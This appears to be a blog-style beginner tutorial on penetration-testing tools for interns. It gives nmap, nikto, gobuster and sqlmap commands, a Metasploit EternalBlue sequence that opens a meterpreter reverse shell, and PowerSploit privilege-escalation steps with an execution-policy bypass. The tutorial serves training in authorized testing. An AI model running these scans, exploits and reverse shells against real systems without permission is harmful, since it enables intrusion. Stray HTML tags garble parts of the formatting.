Listen to this Post
Introduction:
Vulnerability Assessment and Penetration Testing (VAPT) is the cornerstone of proactive cybersecurity defense. For new interns, mastering the core tools and commands is essential for contributing to security projects and identifying critical vulnerabilities before attackers can exploit them.
Learning Objectives:
- Understand and execute fundamental network reconnaissance and enumeration techniques.
- Perform basic vulnerability scanning and analyze results for critical security flaws.
- Utilize common exploitation frameworks to validate vulnerabilities and understand their impact.
You Should Know:
1. Network Reconnaissance with Nmap
Nmap is the industry-standard tool for network discovery and security auditing. It is used to discover hosts and services on a computer network by sending packets and analyzing the responses.
`nmap -sS -sV -O -A 192.168.1.0/24`
`-sS`: Performs a SYN stealth scan.
-sV: Probes open ports to determine service/version info.
`-O`: Enables OS detection.
-A: Enables aggressive mode (OS detection, version detection, script scanning, and traceroute).
Step-by-step guide:
1. Open your terminal (Kali Linux).
2. Identify the target network range (e.g., 192.168.1.0/24).
- Run the command: `sudo nmap -sS -sV -O -A 192.168.1.0/24`
4. Analyze the output for live hosts, open ports, running services, and operating systems.
2. Web Vulnerability Scanning with Nikto
Nikto is an Open-Source web server scanner which performs comprehensive tests against web servers for dangerous files/CGIs, outdated server software, and other known problems.
nikto -h https://example.com`-h`: Specifies the target host.
<h2 style="color: yellow;">
Step-by-step guide:
- Ensure the target URL is within the scope of your engagement.
- In the terminal, run: `nikto -h https://example.com`
3. Review the generated list of potential vulnerabilities, paying close attention to high-severity findings like outdated software versions.3. Directory Bruteforcing with Gobuster
Gobuster is used to brute-force URIs (directories and files) on web servers and DNS subdomains. Finding hidden directories is a key part of web application reconnaissance.
`gobuster dir -u https://example.com -w /usr/share/wordlists/dirb/common.txt
<h2 style="color: yellow;">dir: Specifies directory/file busting mode.</h2>-u
<h2 style="color: yellow;">: The target URL.</h2>-w`: The path to the wordlist.
<h2 style="color: yellow;">
Step-by-step guide:
1. Select a suitable wordlist (e.g., `common.txt`, `directory-list-2.3-medium.txt`).
- Run the command: `gobuster dir -u https://example.com -w /usr/share/wordlists/dirb/common.txt`
3. Note any interesting discovered directories (e.g.,/admin,/backup,/api) for further investigation.
4. SQL Injection Detection with SQLmap
SQLmap automates the process of detecting and exploiting SQL injection flaws. It is a powerful tool that can take over database servers.
`sqlmap -u “https://example.com/page.php?id=1” –batch –dbs`
-u: Specifies the target URL with a potentially injectable parameter.
--batch: Runs in non-interactive mode, automatically choosing default options.
`–dbs`: Attempts to enumerate available databases.
Step-by-step guide:
- Find a web page that takes user input (e.g.,
?id=1,?user=admin). - Run: `sqlmap -u “https://example.com/page.php?id=1” –batch`
3. If SQL injection is found, use `–dbs` to list databases, then `-D database_name –tables` to list tables.
5. Metasploit Framework Exploitation
The Metasploit Framework is a penetration testing platform that enables you to find, exploit, and validate vulnerabilities.
`msfconsole`
`use exploit/windows/smb/ms17_010_eternalblue`
`set RHOSTS 192.168.1.50`
`set PAYLOAD windows/x64/meterpreter/reverse_tcp`
`set LHOST 192.168.1.100`
`exploit`
Step-by-step guide:
1. Start Metasploit: `msfconsole`
2. Search for a module: `search eternalblue`
3. Use the module: `use exploit/windows/smb/ms17_010_eternalblue`
4. Set the required options (RHOSTS, LHOST).
- Execute the exploit:
exploit. A successful exploit will give you a Meterpreter shell on the target.
6. Analyzing PCAP Files with Tshark
Tshark is a network protocol analyzer. It lets you capture packet data from a live network or read packets from a previously saved capture file.
`tshark -r capture.pcap -Y “http.request” -T fields -e http.host -e http.request.uri`
`-r`: Reads packet data from a file.
-Y: Applies a display filter (e.g., show only HTTP requests).
-T fields -e: Specifies which fields to output.
Step-by-step guide:
- Obtain a packet capture (PCAP) file from a network incident.
- To extract all HTTP requests and their destinations, run: `tshark -r capture.pcap -Y “http.request” -T fields -e http.host -e http.request.uri`
3. Look for suspicious domains or requests to unknown URIs.
7. Windows Privilege Escalation with PowerSploit
PowerSploit is a collection of PowerShell modules for post-exploitation and reconnaissance.
`Import-Module .\PowerSploit.psd1`
`Invoke-AllChecks`
From an administrative PowerShell prompt, run the `PowerUp` script to check for common Windows privilege escalation vectors.
Step-by-step guide:
1. Download PowerSploit to your testing machine.
- On a compromised Windows host, open a PowerShell session.
- Bypass the execution policy if needed: `Set-ExecutionPolicy Bypass -Scope Process`
4. Import the module and run:Invoke-AllChecks. The output will highlight misconfigurations like unquoted service paths and insecure service permissions.
What Undercode Say:
- Foundational Proficiency is Non-Negotiable: An intern’s immediate value is determined by their ability to execute core commands for reconnaissance, scanning, and initial exploitation without constant guidance. This toolkit provides that baseline.
- Context is King: Tools like SQLmap and Metasploit are powerful but dangerous. The key takeaway for any new practitioner is to understand not just how to run a command, but why and when it is appropriate within the scope of an engagement. Blindly running exploits without understanding the underlying vulnerability is unprofessional and risky.
The post highlights a critical pathway into the industry: combining formal education (CEH) with hands-on internship experience. The tools listed are the practical implementation of the theories learned in certifications. For an intern, the ability to swiftly transition from academic knowledge to practical command-line execution is what separates a passive learner from an active contributor. The focus on both technical (VAPT) and operational (marketing, lead gen) tasks is a modern reality; cybersecurity professionals must often articulate their findings to non-technical stakeholders.
Prediction:
The integration of AI into VAPT tooling will fundamentally shift the intern’s role. AI-powered scanners will automate much of the initial reconnaissance and vulnerability discovery, moving the value of a junior analyst from running basic commands to interpreting complex AI-generated findings, managing false positives, and conducting more sophisticated manual exploitation and incident response that evades automated detection. Internships will increasingly focus on AI-assisted red teaming and threat hunting.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Digvijaysingh25 Cybersecurity – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
